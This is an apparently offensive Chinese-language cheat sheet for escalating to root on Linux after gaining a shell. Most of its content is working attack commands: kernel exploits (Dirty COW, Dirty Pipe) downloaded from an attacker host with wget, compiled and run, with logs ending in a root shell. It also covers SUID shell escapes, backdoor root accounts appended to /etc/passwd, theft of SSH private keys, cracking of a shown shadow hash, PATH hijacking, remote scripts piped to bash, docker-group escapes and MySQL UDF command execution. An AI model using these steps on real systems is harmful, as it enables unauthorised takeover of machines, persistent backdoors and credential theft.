常用命令
uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径
gcc exp.c -o exp
gcc -pthread exp.c -o exp -lcrypt
常见问题
su失败
python调用本地shell实现命令行交互
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
反弹shell出现指令乱码
(如果用的是sh shell,要在命令行切换成bash shell才能成功)
ctrl+Z # 切入后台
stty -echo raw # 设置原始格式
fg # 调用后台任务
Linux内核漏洞提权
通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。
内核溢出提权
监听端口,拿到反弹shell后,利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权
uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a
这里用kali自带的searchsploit,根据linux的内核版本去找对应的exp
searchsploit -t Ubuntu 14.04
searchsploit -s Ubuntu 14.04
searchsploit -s Linux Kernel 3.13.0
查看描述
searchsploit -x linux/local/37088.c
攻击机用python开启远程下载服务
cd /tmp
cp /usr/share/exploitdb/exploits/linux/local/37088.c exp.c
python3 -m http.server 80
被控端,在/tmp目录(一般可写入),用wget下载exp并且用gcc编译然后添加可执行权限,最后运行exp
cd /tmp
wget http://192.168.220.128/exp.c
gcc exp.c -o exp
chmod +x exp
ls -l | grep exp
./exp
www-data@moonteam-virtual-machine:/tmp$ cd /tmp
cd /tmp
www-data@moonteam-virtual-machine:/tmp$ wget http://192.168.220.128/exp.c
wget http://192.168.220.128/exp.c
--2022-07-22 16:26:42-- http://192.168.220.128/exp.c
Connecting to 192.168.220.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6027 (5.9K) [text/x-csrc]
Saving to: 'exp.c'
0K ..... 100% 1.65G=0s
2022-07-22 16:26:42 (1.65 GB/s) - 'exp.c' saved [6027/6027]
www-data@moonteam-virtual-machine:/tmp$ gcc exp.c -o exp
gcc exp.c -o exp
www-data@moonteam-virtual-machine:/tmp$ chmod +x exp
chmod +x exp
www-data@moonteam-virtual-machine:/tmp$ ls -l | grep exp
ls -l | grep exp
-rwxr-xr-x 1 www-data www-data 14168 Jul 22 16:26 exp
-rw-r--r-- 1 www-data www-data 6027 Jul 22 16:16 exp.c
www-data@moonteam-virtual-machine:/tmp$ ./exp
./exp
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 3131
apport stopped, pid = 3132
getting pid 3131
current pid = 3130..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..35000..37500..40000..42500..45000..47500..50000..52500..55000..57500..60000..62500..65000..67500..70000..72500..75000..77500..80000..82500..85000..87500..90000..92500..95000..97500..100000..102500..105000..107500..110000..112500..115000..117500..120000..122500..125000..127500..130000..
** child: current pid = 3131
** child: executing /bin/su
su: must be run from a terminal
sleeping 2s..
checker: mode 4516
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
stty: standard input: Inappropriate ioctl for device
sh: 0: can't access tty; job control turned off
# whoami
root
不成功就多试试几个exp
Linux kernel缓冲区溢出漏洞(CVE-2022-34918))
漏洞描述
Linux kernel 5.18.9及之前版本存在缓冲区溢出漏洞,攻击者可利用该漏洞通过nft_set_elem_ini类中的混淆错误触发缓冲区溢出,从而获取对越界内存的访问权限,进而导致系统崩溃或者将自身权限提升至管理员,执行任意命令。
影响版本
Linux kernel <=5.18.9
漏洞复现
https://github.com/trhacknon/CVE-2022-34918-LPE-PoC
(没复现成功过 待定)
脏牛提权(CVE-2016-5195)
漏洞描述
该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
影响版本
Linux内核 >= 2.6.22 (uname -a)
RHEL7 Linux x86_64;
RHEL4 (4.4.7-16, with "legacy" version)
Debian 7 ("wheezy");
Ubuntu 14.04.1 LTS
Ubuntu 14.04.5 LTS
Ubuntu 16.04.1 LTS
Ubuntu 16.10
Linux Mint 17.2
漏洞复现0x00
脏牛https://github.com/FireFart/dirtycow
wget http://192.168.220.130/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 或者 ./dirty my-new-password
# su或者ssh登录账号
su firefart或ssh firefart@xxx
#运行漏洞利用后不要忘记恢复您的 /etc/passwd!
mv /tmp/passwd.bak /etc/passwd
漏洞复现0x01
脏牛:https://github.com/gbonacini/CVE-2016-5195
上传到目标机器,解压,进入解压目录。
mkdir /tmp/CVE-2016-5195
unzip -n CVE-2016-5195 -d /tmp/CVE-2016-5195
执行make后生成可执行文件dcow, (执行make后的 gcc 版本要较高版本。)
执行 ./dcow -s ,如果成功的话,
会返回一个root权限的shell
记得恢复/etc/passwd
新脏牛提权(CVE-2022-0847)
漏洞描述
CVE-2022-0847它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于 Dirty COW (CVE-2016-5195),但更容易被利用。
影响版本
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
漏洞复现
exp:
https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh
靶机: 2021kali
uname -r
wget xxxxxx/Dirty-Pipe.sh
chomd +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
# 一定要执行 不然下次用不了 或者 chmod 777 /etc/passwd 没有root权限也可以恢复
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd
suid提权
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。
以下命令可以发现系统上运行的所有suid可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
常用的suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
提权命令可以参考文档:https://gtfobins.github.io/ 中的SUID标签
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'
passwd提权
前提:/etc/passwd文件可写
通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
# 把被控端的/etc/passwd复制到kali
openssl passwd -1 hacker hack123
# 追加内容到被控端的/etc/passwd
# 把/etc/passwd 的第一行的 root 和 x 替换一下
# 如 root:x:0:0:root:/root:/bin/bash
echo 'hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
# or 远程下载并覆盖原来的文件
wget xxx/passwd -O /etc/passwd
# or
echo 'hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:root:/root:/bin/sh' >> /etc/passwd
# 登录 root 权限的账号 hacker
su hacker
ssh hacker@192.168.220.147
ssh密钥提权
cat /etc/passwd | grep bash
找有目录的账号并且目录下有.ssh目录
跳转到.ssh目录 然后将id_rsa下载到本地设置权限 600 登录
控制端:
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.220.128
# 连上后查看id,看有什么可以利用的点 比如docker
也可以在本地生成公钥和私钥,然后把公钥上传到目标目录上
# 不提示直接生成密钥
ssh-keygen -t rsa -P “” -f ~/.ssh/id_rsa
环境劫持提权
0x00 suid提权
环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令
这个二进制文件运行许的时候一定是调用了ps命令,在/tmp命令下 创建ps文件 里面使用 /bin/bash执行命令
当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目录的ps文件作为命令
所以可以劫持root命令执行
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
# 记得改回来
echo $PATH
export PATH=/tmp:$PATH
cd /script
./shell
0x01新脏牛提权(CVE-2022-0847)
影响版本
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
漏洞复现
exp:https://haxx.in/files/dirtypipez.c
gcc 1.c -o 1
./1 /usr/bin/mount
──(kali㉿kali)-[~]
└─$ find / -user root -perm -4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/kismet_cap_nrf_52840
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/fusermount3
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/vmware-user-suid-wrapper
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/passwd
/usr/bin/su
/usr/bin/kismet_cap_linux_wifi
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/umount
/usr/sbin/mount.cifs
/usr/sbin/pppd
/usr/sbin/mount.nfs
^C
┌──(kali㉿kali)-[~]
└─$ gcc 1.c -o 1 130 ⨯
┌──(kali㉿kali)-[~]
└─$ ./1 /usr/bin/mount
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),120(wireshark),134(scanner),142(kaboxer),1000(kali)
shadow密文破解提权
用kali自带的工具john
john会自动检测密文类型 –wordlist 字段文件
这里先解压一下
ls /usr/share/wordlists
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
ls /usr/share/wordlists
复制/etc/shadow的密文
root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
echo 'root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::' > userpasswd
john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd
计划任务提权
查看计划任务
cat /etc/crontab
查看当前用户命令
crontab -l
查看日志
tail -f /var/log/syslog
查看日志文件发现root每一分钟会执行一次 cleanup.py文件,修改文件反弹shell即可
提权脚本
LinEnum
链接:https://github.com/rebootuser/LinEnum
下载执行
wget -O - http://192.168.220.130/LinEnum.sh | bash
linuxprivchecker
python2
https://github.com/sleventyeleven/linuxprivchecker
python3
https://github.com/swarley7/linuxprivchecker
linux-exploit-suggester2
https://github.com/jondonas/linux-exploit-suggester-2
自动检测
perl linux-exploit-suggester-2.pl
docker提权
输入命令id 和group 查询当前用户信息和组信息 发现存在docker组
输入命令下载使用容器把容器的目录挂载到宿主的根目录
docker run -v /:/mnt -it alpine
访问宿主的/etc/shadow
cat /mnt/etc/shadow
sudo提权
sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。
sudo -l
列出目前用户可执行与无法执行的指令。
可以看到可以使用root特权下的cat命令,所以可以读取任何文件
第三方提权
mysql udf提权
如果在linux中 存在mysql ,可以试用mysql提权 但是几率不会太大
mysql -version 查看版本是64位还是32位
show variables like '%plugin%';
(这个文件夹要有写文件权限)
使用kali
cd /usr/share/sqlmap/extra/cloak/
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so 进行解码,生成文件lib_mysqludf_sys.so
wget http://192.168.0.109/lib_mysqludf_sys.so 在被控端下载lib_mysqludf_sys.so
登录mysql创建函数
use mysql
创建函数
create function sys_eval returns string soname "udf.so";
select sys_eval('id');
提权失败的原因
-
plugin 不存在 或者 没权限写入文件
-
udf so文件 版本不对
-
设置权限
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld